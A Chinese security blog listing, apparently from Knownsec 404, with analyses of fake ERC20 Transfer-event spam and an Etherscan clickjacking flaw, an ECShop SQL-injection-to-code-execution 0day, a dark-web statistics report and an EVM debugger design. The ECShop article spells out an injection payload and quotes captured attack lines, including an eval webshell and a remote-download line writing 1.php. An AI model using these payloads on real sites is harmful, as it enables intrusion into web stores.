RSS Feed
更好更安全的互联网
  • 【9.20更新】blockwell.ai KYC Casper Token “牛皮癣广告” 事件分析

    2018-09-18
    作者:知道创宇404区块链安全研究团队
    时间:2018/09/13

    一、背景

    2018年9月7日早上1点左右,许多以太坊钱包账户都收到了一种名为blockwell.ai KYC Casper Token代币转进/出账消息:

    令人奇怪的是这些账号均表示之前对这个Token的“一无所知”,当这些收到消息用户并没有真正收到提示的那100个代币,而那些提示有100代币转出的用户在之前也并没有拥有过这种代币,这一切都显得“莫名其妙”!更加让一部分人奇怪和担心的是,这些“转进/出账”的操作,都不需要钱包拥有者的的任何密码私钥输入,于是很多不明真相的用户担心自己的钱包是不是被人恶意攻击 ...

    二、事件跟踪

    首先我们从blockwell.ai KYC Casper Token

    交易页面,看到的交易记录都是转出100代币的记录,没有任何转入记录。

    再看看实际转账到账户的交易信息

    可以看到通过调用这个合约,发起了一笔代币转账,在event logs里可以看到实际的交易

    然后具体的交易地址为

    整笔交易花费了244w的gas,价值2.28美元,有针对的从500个用户转账给了500个用户。

    继续跟踪到转账的from地址:

    正如文章开头提到的那样:所有的来源账户本身都是不持有这种代币的,跟踪一下也可以发现,无论是发起交易者还是接受交易者,都没有发生实际代币的变化。

    但是这些交易记录确实被保存在链上,那么这个事件的核心问题就在于:“这些记录是怎么被产生并记录的?”

    三、事件原理

    我们从合约分析入手

    不出所料,这种事件型的合约代码并不会直接给你开放源代码,通过利用我们404自主研发的智能合约OPCODE逆向工具,反编译后得到如下代码:

    源码如下

    从代码中可以很明显的看到一个特殊的函数x_975ef7df,这是唯一一个涉及到数组操作,且会触发Tranfser事件的函数。

    从代码中可以很清晰的看到, 在对地址列表的循环中,只触发了Transfer事件,没有任何其余的操作。

    我们知道遵守以太坊ERC20标准的合约代币才会被承认为ERC20代币,ERC20代币会直接被交易所承认。而 在ERC20标准中规定,transfer函数必须触发Transfer事件,事件会被记录在event log中,是不是说明平台和交易所在获取ERC20代币交易信息,是通过event log事件获取的呢?我们来测试一下。

    四、事件复现

    首先我们需要编写一个简单的ERC20标准的代币合约

    合约代币需要规定好代币的名称等信息,然后我们定义一个mylog函数。

    这里我们通过remix进行部署(由于需要交易所获得提示信息,所以我们需要部署在公链上)

    测试合约地址

    注:这里需要强调的是:转出/入账的地址都是可以自定义的,这也就是为什么所有的来源账户本身都是不持有这种代币的原因。

    然后直接发起交易

    然后我们的imtoken提示了消息,注意收到的消息了包含了我们的代码里 symbol = "RMB";的值rmb

    回看余额可以发现没有实际转账诞生。

    五、事件目的

    通过上面分析及测试,我们发现整个事件最后只说了一件事情就是伪照了大量的虚假交易记录,并没有其他“实质”性的恶意操作,那么这个事件的目的是什么呢?

    我们回顾下整个事件的流程:

    创建一个token ---> 伪造交易记录 ---> 钱包或交易平台获取交易记录 ---> 推送给用户

    如果能找到自定义的消息,那么这是一条完美的消息推广链!这个事件的始作俑者非常聪明的利用了token名这个自定义输入点:blockwell.ai KYC Casper Token,blockwell.ai这个就是本次事件的主要目的,牛皮癣小广告推广这个网站。

    看你有的人会说如果只是用来做广告推广的话,完全可以使用代币的真实转账记录来推广,而不是利用伪造交易记录。这里需要提醒大家的是“广告费”的问题,这个“广告费”也就是合约操作里的gas消耗,伪造交易记录只需要Transfer操作的gas可以大大节省这个“广告费”,本次事件整个过程的话费的“广告费”约2.28美元的gas,就实现了对1000个用户有针对的推送了精准广告。

    六、总结

    结合以往的各种事件,相比于区块链的各种有限应用场景里,在“恶意”攻击或者利用的层面,攻击者们表现出了惊人的“创意”,本次事件利用了”交易所/平台却盲目信任符合ERC20标准的合约“的特点,使用了以太坊平台本身实现的“bug”,利用了最少的“广告费”实现了精准的用户广告推送。

    另外一个值得我们去关注的点就是被用来做消息推送的点是可以自定义的,那么可能导致的风险是非常值得思考的:比如推送钓鱼网站信息,推送其他非法类型的小广告及言论,会导致钱包等平台应用方的用户的其他不可以预期的风险!我们也提醒各大钱包、交易所等平台警惕此类风险,必要时针对这些可自定义点进行相关识别及过滤。

    9月20日更新:一个有趣的点击劫持漏洞

    在复现上述漏洞的过程中,我们发现了一个有趣的漏洞,在上述合约代币用于做小广告的区域,是很少的一块我们可控的智能合约属性。

    那么假设合约展示平台如etherscan等,没有对这里做合理的处理,是不是可能会存在xss等漏洞呢。

    经过测试我们发现Etherscan就存在这样的点击劫持漏洞

    首先我们先部署以下代码

    部署后我们我们用合约发起一次交易

    然后查看etherscan的页面,在非常重要的进入查看合约信息的地方,成功被设置为其他地址的a标签

    当开发者或者用户想要查看合约信息的时候,点击按钮就会跳转到其他地方做进一步利用。

    这是一个潜力很大的点击劫持漏洞,攻击者完全可以用这种方式来诱导开发者或用户到错误的合约,甚至伪造的etherscan导致更大的危害。

    该漏洞目前已上报etherscan官方并修复。


    智能合约审计服务

    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:区块链行业安全解决方案

    黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。

    欢迎扫码咨询:


    Paper

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/700/

    作者:Nanako | Categories:安全研究技术分享 | Tags:
  • ECShop 0day 的堕落之路

    2018-09-12
    Author: Badcode@知道创宇404实验室
    Date: 2018/09/04

    背景

    ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。2018年6月13日,知道创宇404积极防御团队通过知道创宇旗下云防御产品“创宇盾”防御拦截并捕获到一个针对某著名区块链交易所网站的攻击,通过分析,发现攻击者利用的正式ECShop 2.x版本的0day漏洞攻击。于2018年6月14日,提交到知道创宇Seebug漏洞平台并收录

    随后于2018年8月31日,ID为“ringk3y”研究人员在其博客公开这个漏洞,并做了详细分析,该分析收录在Seebug Paper

    知道创宇404积极防御团队于2018年9月2日正式对外发布《ECShop全系列版本的远程代码执行漏洞》预警。

    从2018年的6月13日首次拦截后,知道创宇404实验室多个团队对这个利用ECShop 0day攻击事件进行持续的监控分析,从下文的分析结果可以看出一个0day漏洞在实际攻击中的各个阶段的“堕落”过程。

    漏洞分析

    该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二次漏洞”,通过user.php文件中display()函数的模板变量可控,从而造成SQL注入漏洞,而后又通过SQL注入漏洞将恶意代码注入到危险函数eval中,从而实现了任意代码执行。

    值得一提的是攻击者利用的payload只适用于ECShop 2.x版本导致有部分安全分析者认为该漏洞不影响ECShop 3.x,这个是因为在3.x的版本里有引入防注入攻击的安全代码,通过我们分析发现该防御代码完全可以绕过实现对ECShop 3.x的攻击(详见下文分析)。

    注:以下代码分析基于ECShop 2.7.3

    SQL 注入漏洞

    首先看到ecshop/user.php

    可以看到$back_act是从HTTP_REFERER获取到的,HTTP_REFERER是外部可控的,这也是万恶的根源。

    接着将back_act变量传递给assign函数,跟进ecshop/includes/cls_template.php

    可以从注释了解这个函数的功能,是注册模板变量,也就是$back_act变成了$this->_var[$back_act]=$back_act,而后调用display函数

    user.php调用display函数,传递进来的$filenameuser_passport.dwt,从函数来看,首先会调用$this->fetch来处理user_passport.dwt模板文件,fetch函数中会调用$this->make_compiled来编译模板。user_passport.dwt其中一段如下:

    make_compiled会将模板中的变量解析,也就是在这个时候将上面assign中注册到的变量$back_act传递进去了,解析完变量之后返回到display函数中。此时$out是解析变量后的html内容,判断$this->_echash是否在$out中,若在,使用$this->_echash来分割内容,得到$k然后交给insert_mod处理。

    由于_echash是默认的,不是随机生成的,所以$val内容可随意控制。跟进$this->insert_mod

    $val传递进来,先用|分割,得到$fun$para$para进行反序列操作,$funinsert_拼接,最后动态调用$fun($para),函数名部分可控,参数完全可控。接下来就是寻找以insert_开头的可利用的函数了,在ecshop/includes/lib_insert.php有一个insert_ads函数,正好满足要求。看下insert_ads

    $arr是可控的,并且会拼接到SQL语句中,这就造成了SQL注入漏洞。

    根据上面的流程,可以构造出如下形式的payload

    实际可利用payload

    代码执行

    继续看insert_ads函数

    可以看到在SQL查询结束之后会调用模板类的fetch方法,在user.php中调用display,然后调用fetch的时候传入的参数是user_passport.dwt,而在此处传入的参数是$position_style,向上溯源,发现是$row['position_style']赋值而来,也就是SQL语句查询的结果,结果上面这个SQL注入漏洞,SQL查询的结果可控,也就是$position_style可控。

    要到$position_style = $row['position_style'];还有一个条件,就是$row['position_id']要等于$arr['id'],查询结果可控,arr['id']同样可控。

    之后$position_style会拼接'str:'传入fetch函数,跟进fetch

    因为之前拼接'str:'了,所以strncmp($filename,'str:', 4) == 0为真,然后会调用危险函数$this->_eval,这就是最终触发漏洞的点。但是参数在传递之前要经过fetch_str方法的处理,跟进

    第一个正则会匹配一些关键字,然后置空,主要看下最后一个正则

    这个正则是将捕获到的值交于$this-select()函数处理。例如,$source的值是xxx{$abc}xxx,正则捕获到的group 1 就是$abc,然后就会调用$this-select("$abc")

    跟进select函数

    当传入的变量的第一个字符是$,会返回由 php 标签包含变量的字符串,最终返回到_eval()危险函数内,执行。在返回之前,还调用了$this->get_var处理,跟进get_var

    当传入的变量没有.$时,调用$this->make_var,跟进make_var

    在这里结合select函数里面的语句来看,<?php echo $this->_var[' $val '];?>,要成功执行代码的话,$val必须要把['闭合,所以payload构造,从下往上构造,$valabc'];echo phpinfo();//;从select函数进入get_var的条件是第一个字符是$,所以payload变成了$abc'];echo phpinfo();//;而要进入到select,需要被捕获,payload变成了{$abc'];echo phpinfo();//},这里因为payload的是phpinfo(),这里会被fetch_str函数的第一个正则匹配到,需要变换一下,所以payload变为{$abc'];echo phpinfo/**/();//},到这里为止,php 恶意代码就构造完成了。

    接下来就是把构造好的代码通过SQL注入漏洞传给$position_style。 这里可以用union select 来控制查询的结果,根据之前的流程,$row['position_id']$arr['id']要相等,$row['position_id']是第二列的结果,$position_style是第九列的结果。$arr['id']传入' /*,$arr['num']传入*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -0x27202f2a' /*的16进制值,也就是$row['position_id']的值,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d是上面构造的php代码的16进制值,也就是$position_style

    结合之前的SQL漏洞的payload构造,所以最终的payload的是

    可以看到成功的执行了phpinfo()

    ECShop 3.x 绕过

    上述的测试环境都是2.7.3的,理论上打2.x都没问题,而在3.x上是不行的,原因是3.x自带了个WAF(ecshop/includes/safety.php),对所有传入的参数都做了检测,按照上面构造的 payload ,union select 会触发SQL注入的检测规则,有兴趣的可以去绕绕,我没绕过。。

    下面的测试版本为ECshop3.0,3.x版本的echash45ea207d7a2b68c49582d2d22adf953a。 上面说了 insert_ads 函数存在注入,并且有两个可控点,$arr['id']$arr['num'],可以将union select通过两个参数传递进去,一个参数传递一个关键字,中间的可以使用/**/注释掉,这样就不会触发WAF。

    实际攻击分析

    上文提到该漏洞最早由知道创宇404积极防御团队通过知道创宇旗下云防御产品“创宇盾”在2018年6月13日拦截并捕获,随后针对这个漏洞的攻击情况做了详细的监控及跟进:

    第一阶:0day在野之“APT攻击” (2018年6月13日)

    首次捕获到 2.x 的 payload 是被用来攻击某区块链交易所网站,因此我们高度怀疑攻击者是用 0day 来攻击区块链交易所的 apt团队。样本中 payload 通过HTTP 请求头的Referer字段植入,如下

    把捕获的 payload 转码出来看

    恶意代码

    base64部分的内容是

    可以看到,没有写入 webshell,而是直接接收$_POST['Nox']参数,进行base64解码后直接传入eval函数执行代码,相当于一个无文件的 webshell ,非常隐蔽。

    本次攻击是由一个日本ip(35.200.*.*)发起,通过攻击的手法及使用的paylaod等情况来看,并直接了当地用来攻击某著名区块链交易所,我们高度怀疑是目的性非常明确的“APT攻击”。

    第二阶:0day在野之“黑产攻击” (2018年8月)

    在随后整个7月都没有出现利用该漏洞攻击的记录直到8月初,在整个8月拦截捕获该0day漏洞攻击记录10余次,攻击者使用的 payload 都相同,且都是一个菲律宾IP(180.191.*.*)发起的攻击。如下:

    // file_put_contents('1.php',file_get_contents('http://uee.me/MrJc'));和这篇分析文章里捕获到的样本一致。

    从整个8月拦截的10余次攻击目标,payload等手法来看,我们认为极有可能该0day漏洞已经被流入到“高端黑产”团队,并进行了批量自动化攻击。

    第三阶:0day曝光之“疯狂攻击” (2018年8月31日后)

    在2018年8月31日漏洞细节被公开之后,攻击数量开始增加,捕获到的 payload 也变的多种多样,漏洞被广泛利用。

    从这些人使用的攻击目标、手法及payload(攻击使用的payload仍然只适用于2.x版本,目前为止没有看到使用针对3.x payload攻击)等情况来看,考虑大量的“低端黑产”玩家开始加入进来,继续“疯狂”的抓鸡行动中,榨干这个漏洞的最后一滴“油水”...

    漏洞影响范围及修复

    根据ZoomEye网络空间搜索引擎对ECShop关键字的搜索结果,共找到42400 条历史记录。

    漏洞修复

    目前我们分析下载最新版的ECShop 4.0里对这个漏洞进行修复:

    看到ecshop4/ecshop/includes/lib_insert.php

    可以看到,将传递进来的$arr[id]$arr[num]强制转换成整型,这样就没法利用这个漏洞了。

    另外我们注意到官方并没有发布针对老版本的(2.x和3.x)的独立修复补丁,相关老版本的用户可参考ECShop 4.0代码来修复或者直接升级到ECShop 4.0。

    小结

    本次ECShop这个漏洞挖掘到漏洞利用非常有技术含量,可以算是一个经典的“二次漏洞”案例,从一个SQL注入漏洞最后完美实现转变为代码执行漏洞。另外从这个漏洞在野外实际利用的过程,也非常的“经典”,完美重现了一个0day漏洞被挖掘利用转变为“武器”后的完美历程:从被用来目标明确的“定向攻击”,再到“黑产”高端玩家,直到最后在曝光后沦为黑产“抓鸡”工具的“堕落” ...

    感谢我们404实验室各团队小伙伴的努力~~ 我爱你们~~

    参考链接


    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/695/

    作者:Nanako | Categories:安全研究安全科普 | Tags:
  • 2018上半年暗网研究报告

    2018-09-12
    作者:知道创宇404实验室
    报告下载:《2018上半年暗网研究报告》

    1 基本概念

    1.1 Deep web/Dark web/Darknet

    讲述暗网之前,需要先了解“深网”(Deep web)、“暗网”(Dark web) 和“黑暗网络”(Darknet) 这三个词。虽然媒体可能经常交替使用它们,但实际上它们代表着截然不同而又相关的互联网区段。

    “深网”(Deep web) 是指服务器上可通过标准的网络浏览器和连接方法访问的页面和服务,但主流搜索引擎不会收录这些页面和服务。搜索引擎之所以不会收录深网,通常是因为网站或服务的配置错误、拒绝爬虫爬取信息、需要付费查看、需要注册查看或其他内容访问限制。

    “暗网”(Dark web) 是深网中相对较小的一部分,与被故意隐藏的 Web 服务和页面有关。仅使用标准浏览器无法直接访问这些服务和页面,必须依靠使用覆盖网络 (Overlay Network);而这种网络需要特定访问权限、代理配置、专用软件或特殊网络协议。

    “黑暗网络”(Darknet) 是在网络层访问受限的框架,例如 Tor 或 I2P。私有 VPN 和网状网络 (Mesh Network) 也属于这个类别。通过这些框架的网络流量会被屏蔽。当进行数据传输时,系统只会显示您连接的黑暗网络以及您传输了多少数据,而不一定会显示您访问的网站或所涉及数据的内容。与之相反的是,直接与明网(Clean Net)或与未加密的表网服务和深网服务交互。在这种情况下,您与所请求资源之间的互联网服务提供商 (ISP) 和网络运营商可以看到您传输的流量内容。

    1.2 暗网 (Dark Web) 的组成

    暗网只能通过Tor (The Onion Routing)和I2P(Invisible Internet Project)等网络访问。

    Tor又名洋葱网络,是用于匿名通信的软件,该名称源自原始软件项目名称“The Onion Router”的首字母缩写词,Tor网络由超过七千个中继节点组成,每个中继节点都是由全球志愿者免费提供,经过层层中继节点的中转,从而达到隐藏用户真实地址、避免网络监控及流量分析的目的。

    I2P网络是由I2P路由器以洋葱路由方式组成的表层网络,创建于其上的应用程序可以安全匿名的相互通信。它可以同时使用UDP及TCP协议,支持UPnP映射。其应用包括匿名上网、聊天、网站搭建和文件传输。

    通过知道创宇“暗网雷达”的实时监测数据表明,Tor 网络大约拥有12万个独立域名(onion address),而I2P网络公开地址薄大约只有8千个地址,体量相对 Tor 网络要小得多。

    2 暗网的现状

    2.1 Tor全球中继节点分布

    截至2018年7月31日,我们统计了全球中继节点的分布状况,全球总计有17635个中继节点,其中正在运行的有6386个,它们的平均带宽为5.33MB/s,最大带宽为99MB/s;相比其他区域而言,北美和欧洲的带宽更大;大部分中继节点分布在北美和欧洲,中国香港只有6个。

    因此可以得出结论,相比表网而言,暗网的规模要小的很多,Tor 网络节点带宽不足以支撑超大的网络流量,网络媒体关于暗网与表网的“冰山比喻”有些夸张了。

    2.2 Tor 网络数据统计

    根据Tor官方项目的统计数据显示,2018年上半年Tor暗网地址(onion addresses (version 2 only))数量峰值为121078个。

    图2.2 暗网地址数量Tor网络来自中国用户数量平均每天1159人,高峰期为2018年5月9日,达到3951人,绝大多数暗网中文用户使用 Meet 类型的流量访问Tor暗网。

    图2.2. 暗网中国用户数量统计针对约12万左右的暗网域名,我们深入进行了研究,得出结论:

    • Onion域名每日存活量约1.2万左右,只占总数的10%;
    • Onion v2 类型的域名有121451个,v3类型的域名只有379个;
    • 每日平均暗网新增数量为30个;

    2.3 Tor暗网的主要类别

    通过知道创宇“暗网雷达”的监测,我们将暗网归为12大类,各类占比如上图所示;通过对各类中独立域名的标题进行整合分析,提取网站标题中关键字出现的频率,生成词云:

    • 商业类占18.98%;其中包括交易市场,自营商店,第三方托管平台(网站担保);交易品种大多是信用卡、枪支、毒品、护照、电子产品、伪钞、欧元票据、亚马逊礼品卡、解密服务、杀手服务、比特币洗钱服务等;大多数网站使用比特币进行交易。
    • 个人类占5.90%;包括个人博客,页面,书籍等。
    • 社会类占4.57%;包括论坛,暗网维基等。
    • 其他语言(非英语)占3.82%;
    • 主机托管类占3.05%;主要为暗网服务托管商的宣传站,介绍其机器性能与架构。
    • 成人类占2.87%;
    • 技术类占2.74%;分享技术/出售黑客技术/售卖0day/漏洞利用
    • 核心网站占1.91%;包括暗网搜索引擎,暗网链接目录等
    • 通讯类占1.79%;包括聊天室,邮件服务,暗网邮箱
    • 政治与宗教类占1.34%;包括暗网的新闻媒体机构,全球维基解密,政党丑闻,激进主义言论,传教等。
    • 赌博类占0.46%;网络赌场等。
    • 其他类(艺术,音乐,需登陆的,无内容,被查封的,视频等)占52.57%;

    可以看到”Freedom Hosting II - hacked”这几个词在各大类中都占据很高的比例。原因是匿名者组织(Anonymous)攻击了当时最大的Tor暗网托管服务提供商Freedom Hosting II,因为它向大量共享儿童色情图片的网站提供主机托管服务。直接导致约20%的Tor网站关闭。

    2.4 Tor暗网Web服务分布

    我们统计了排名前20的Web服务器, 绝大多数暗网网站使用Nginx和Apache作为Web服务器,约1%的暗网使用了Cloudflare作为其 DDoS防护措施。

    2.5 Tor暗网开放端口分布

    http 80端口占69.55%;smtp 25端口占比23.24%;https 443端口占2.88%;ssh 22端口占1.68%。

    2.6 Tor暗网语种分布

    通过机器学习分析网站的标题和内容,我们将暗网进行了语种归类,Tor暗网语种总数有80种,英语依旧是暗网中最流行的语言,占比高达82.02%;接着依次是俄语3.77%、丹麦语2.22%、德语1.73%、拉丁语1.26%、西班牙语1.26%、法语1.13%、葡萄牙语1.00%、汉语0.75%、意大利语0.60%。

    3 暗网的威胁

    由于暗网的匿名特性,暗网中充斥着大量欺诈,非法的交易,没有限制的信息泄露,甚至是危害国家安全的犯罪等, 这些风险一直在威胁着社会,企业和国家的安全。2018年上半年,中国互联网就有大量的疑似数据泄露事件的信息在暗网传播,例如:《某视频网站内网权限及千万条用户数据库暗网售卖事件》

    • 2018年3月8日,黑客在暗网论坛发布某视频网站1500万一手用户数据
    • 2018年6月9日,黑客在暗网论坛发布某视频网站 SHLL+内网权限并公布了300条用户数据
    • 2018年6月13日凌晨,某视频网站官方发布公告称网站遭遇黑客攻击,近千万条用户数据外泄,提醒用户修改密码

    另外还有诸如

    • 某省1000万学籍信息在暗网出售
    • 某快递公司10亿条快递物流数据暗网出售

    等一系列的隐私信息泄露的事件在中国互联网引起广泛传播和关注。

    暗网也成为各种威胁情报信息的重要来源之一。

    从我们监测的数据来看,暗网还在呈现缓慢增长的态势,随着暗网用户的增多,黑市及加密数字货币的发展,更多的黑客在利益的的驱动下开展各种活动,把之前通过表网(互联网)传播的非法交易更多的转移至暗网,通过各种技术手段躲避追踪。对监管和调查造成了一定的困难。

    面对日益增长的暗网威胁, 知道创宇404安全研究团队会持续通过技术手段来测绘暗网,提供威胁情报,追踪和对抗来自暗网的威胁,为了更好更安全的互联网。


    Paper本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/686/

    作者:Nanako | Categories:安全研究技术分享 | Tags:
  • 以太坊智能合约 OPCODE 逆向之调试器篇

    2018-09-05
    作者:Hcamael@知道创宇404区块链安全研究团队
    时间:2018/09/04
    上一篇《以太坊智能合约 OPCODE 逆向之理论基础篇》,对智能合约的OPCODE的基础数据结构进行了研究分析,本篇将继续深入研究OPCODE,编写一个智能合约的调试器。

    Remix调试器

    Remix带有一个非常强大的Debugger,当我的调试器写到一半的时候,才发现了Remix自带调试器的强大之处,本文首先,对Remix的调试器进行介绍。

    能调试的范围:

    1. 在Remix上进行每一个操作(创建合约/调用合约/获取变量值)时,在执行成功后,都能在下方的控制界面点击DEBUG按钮进行调试

    2. Debugger能对任意交易进行调试,只需要在调试窗口输入对应交易地址

    3. 能对公链,测试链,私链上的任意交易进行调试

    点击Environment可以对区块链环境进行设置,选择Injected Web3,环境取决去浏览器安装的插件

    比如我,使用的浏览器是Chrome,安装的插件是MetaMask

    通过MetaMask插件,我能选择环境为公链或者是测试链,或者是私链

    Environment设置为Web3 Provider可以自行添加以太坊区块链的RPC节点,一般是用于设置环境为私链

    4. 在JavaScript的EVM环境中进行调试

    见3中的图,把Environment设置为JavaScript VM则表示使用本地虚拟环境进行调试测试

    在调试的过程中能做什么?

    Remix的调试器只提供了详细的数据查看功能,没法在特定的指令对STACK/MEM/STORAGE进行操作

    在了解清楚Remix的调试器的功能后,感觉我进行了一半的工作好像是在重复造轮子。

    之后仔细思考了我写调试器的初衷,今天的WCTF有一道以太坊智能合约的题目,因为第一次认真的逆向EVM的OPCODE,不熟练,一个下午还差一个函数没有逆向出来,然后比赛结束了,感觉有点遗憾,如果当时能动态调试,可能逆向的速度能更快。

    Remix的调试器只能对已经发生的行为(交易)进行调试,所以并不能满足我打CTF的需求,所以对于我写的调试器,我转换了一下定位:调试没有源码,只有OPCODE的智能合约的逻辑,或者可以称为离线调试。

    调试器的编写

    智能合约调试器的编写,我认为最核心的部分是实现一个OPCODE解释器,或者说是自己实现一个EVM。

    实现OPCODE解释器又分为两部分,1. 设计和实现数据储存器(把STACK/MEM/STORAGE统称为数据储存器),2. 解析OPCODE指令

    数据储存器

    STACK

    根据OPCODE指令的情况,EVM的栈和计算机的栈数据结构是一个样的,先入先出,都有PUSHPOP操作。不过EVM的栈还多了SWAPDUP操作,栈交换和栈复制,如下所示,是我使用Python实现的EVM栈类:

    和计算机的栈比较,我觉得EVM的栈结构更像Python的List结构

    计算机的栈是一个地址储存一个字节的数据,取值可以精确到一个字节,而EVM的栈是分块储存,每次PUSH占用一块,每次POP取出一块,每块最大能储存32字节的数据,也就是2^256-1,所以上述代码中,对每一个存入栈中的数据进行取余计算,保证栈中的数据小于2^256-1

    MEM

    EVM的内存的数据结构几乎和计算机内存的一样,一个地址储存一字节的数据。在EVM中,因为栈的结构,每块储存的数据最大为256bits,所以当OPCODE指令需要的参数长度可以大于256bits时,将会使用到内存

    如下所示,是我使用Python实现的MEM内存类:

    使用python3中的bytearray类型作为MEM的结构,默认初始化256B的内存空间,因为有一个OPCODE是MSIZE:

    Get the size of active memory in bytes.

    所以每次设置内存值时,都要计算active memory的size

    内存相关设置的指令分为三类

    1. MSTORE, 储存0x20字节长度的数据到内存中
    2. MSTORE8, 储存1字节长度的数据到内存中
    3. CALLDATACOPY(或者其他类似指令),储存指定字节长度的数据到内存中

    所以对应的设置了3个不同的储存数据到内存中的函数。获取内存数据的类似。

    STORAGE

    EVM的STORAGE的数据结构和计算机的磁盘储存结构相差就很大了,STORAGE是用来储存全局变量的,全局变量的数据结构我在上一篇文章中分析过,所以在用Python实现中,我把STORAGE定义为了字典,相关代码如下:

    因为EVM中操作STORAGE的相关指令只有SSTORESLOAD,所以使用python的dict类型作为STORAGE的结构最为合适

    解析OPCODE指令

    对于OPCODE指令的解析难度不是很大,指令只占一个字节,所以EVM的指令最多也就256个指令(0x00-0xff),但是有很多都是处于UNUSE,所以以后智能合约增加新指令后,调试器也要进行更新,因此现在写的代码需要具备可扩展性。虽然解析指令的难度不大,但是仍然是个体力活,下面先来看看OPCODE的分类

    OPCODE分类

    在以太坊官方黄皮书中,对OPCODE进行了相应的分类:

    0s: Stop and Arithmetic Operations (从0x00-0x0f的指令类型是STOP指令加上算术指令)

    10s: Comparison & Bitwise Logic Operations (0x10-0x1f的指令是比较指令和比特位逻辑指令)

    20s: SHA3 (目前0x20-0x2f只有一个SHA3指令)

    30s: Environmental Information (0x30-0x3f是获取环境信息的指令)

    40s: Block Information (0x40-0x4f是获取区块信息的指令)

    50s: Stack, Memory, Storage and Flow Operations (0x40-0x4f是获取栈、内存、储存信息的指令和流指令(跳转指令))

    60s & 70s: Push Operations (0x60-0x7f是32个PUSH指令,PUSH1-PUSH32)

    80s: Duplication Operations (0x80-0x8f属于DUP1-DUP16指令)

    90s: Exchange Operations (0x90-0x9f属于SWAP1-SWAP16指令)

    a0s: Logging Operations (0xa0-0xa4属于LOG0-LOG4指令)

    f0s: System operations (0xf0-0xff属于系统操作指令)

    设计可扩展的解释器

    首先,设计一个字节和指令的映射表:

    然后就是设计一个解释器类:

    • MAX变量用来控制计算的结果在256bits的范围内
    • over变量用来标识程序是否执行结束
    • store用来访问runtime变量: STACK, MEM, STORAGE

    在这种设计模式下,当解释响应的OPCODE,可以直接使用

    特殊指令的处理思路

    在OPCODE中有几类特殊的指令:

    1. 获取区块信息的指令,比如:

    NUMBER: Get the block’s number

    该指令是获取当前交易打包进的区块的区块数(区块高度),解决这个指令有几种方案:

    • 设置默认值
    • 设置一个配置文件,在配置文件中设置该指令的返回值
    • 调试者手动利用调试器设置该值
    • 设置RPC地址,从区块链中获取该值

    文章的开头提过了对我编写的调试器的定位问题,也正是因为遇到该类的指令,才去思考调试器的定位。既然已经打包进了区块,说明是有交易地址的,既然有交易地址,那完全可以使用Remix的调试器进行调试。

    所以对我编写的调试器有了离线调试器的定位,采用上述方法中的前三个方法,优先级由高到低分别是,手动设置>配置文件设置>默认设置

    2. 获取环境信息指令,比如:

    ADDRESS: Get address of currently executing account.

    获取当前合约的地址,解决方案如下:

    • 设置默认值
    • 设置一个配置文件,在配置文件中设置该指令的返回值
    • 调试者手动利用调试器设置该值

    获取环境信息的指令,因为调试的是OPCODE,没有源码,不需要部署,所以是没法通过RPC获取到的,只能由调试者手动设置

    3. 日志指令

    LOG0-LOG4: Append log record with no topics.

    把日志信息添加到交易的回执单中

    上述就是获取一个交易的回执单,其中有一个logs列表,就是用来储存日志信息

    既然是在调试OPCODE,那么记录日志的操作就是没有必要的,因为调试的过程中能看到储存器/参数的情况,所以对于这类指令的操作,完全可以直接输出,或者不做任何处理(直接pass)

    4. 系统操作指令

    这类指令主要是外部调用相关的指令,比如可以创建合约的CREATE, 比如能调用其他合约的CALL, 比如销毁自身,并把余额全部转给别人的SELFDESTRUCT

    这类的指令我认为的解决办法只有: 调试者手动利用调试器设置该指令的返回值

    调用这类函数的时候,我们完全能看到详细的参数值,所以完全可以手动的进行创建合约,调用合约等操作

    总结

    在完成一个OPCODE的解释器后,一个调试器就算完成了3/4, 剩下的工作就是实现自己想实现的调试器功能,比如下断点,查看栈内存储存数据等

    下面放一个接近成品的演示gif图:


    智能合约审计服务

    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html

    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:

    区块链行业安全解决方案

    黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。

    欢迎扫码咨询:


    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/693/

    作者:Nanako | Categories:安全研究技术分享 | Tags:
  • 智能合约游戏之殇——God.Game 事件分析

    2018-08-29

    作者:Sissel@知道创宇404区块链安全研究团队
    时间:2018年8月24日

    0x00 前言

    当你凝视深渊时,深渊也在凝视着你。

    越来越多的乐透、赌博游戏与区块链体系结合起来,步入众多投资者和投机者的视野中。区块链可以说是这类游戏的温床。正面来说,区块链的可信机制与合约的公开,保证了游戏的中立。另一方面,区块链的非实名性,也让玩家的个人信息得以隐藏。

    分红、邀约、股息,这些游戏看似利益诱人,实则一个个都是庞氏骗局。游戏火了,诈骗满满皆是。每个人都信心满满地走进游戏,投入大笔资金,希望自己成为受益者,别人都是自己的接盘侠。这样的游戏,只有两个结局,不是游戏所有者获益,就是半路杀进游戏的区块链黑客卷走一切,让玩家血本无归,无一例外。日复一日,无数投机者交了学费,空手而归,却又毫不死心,重入深渊。

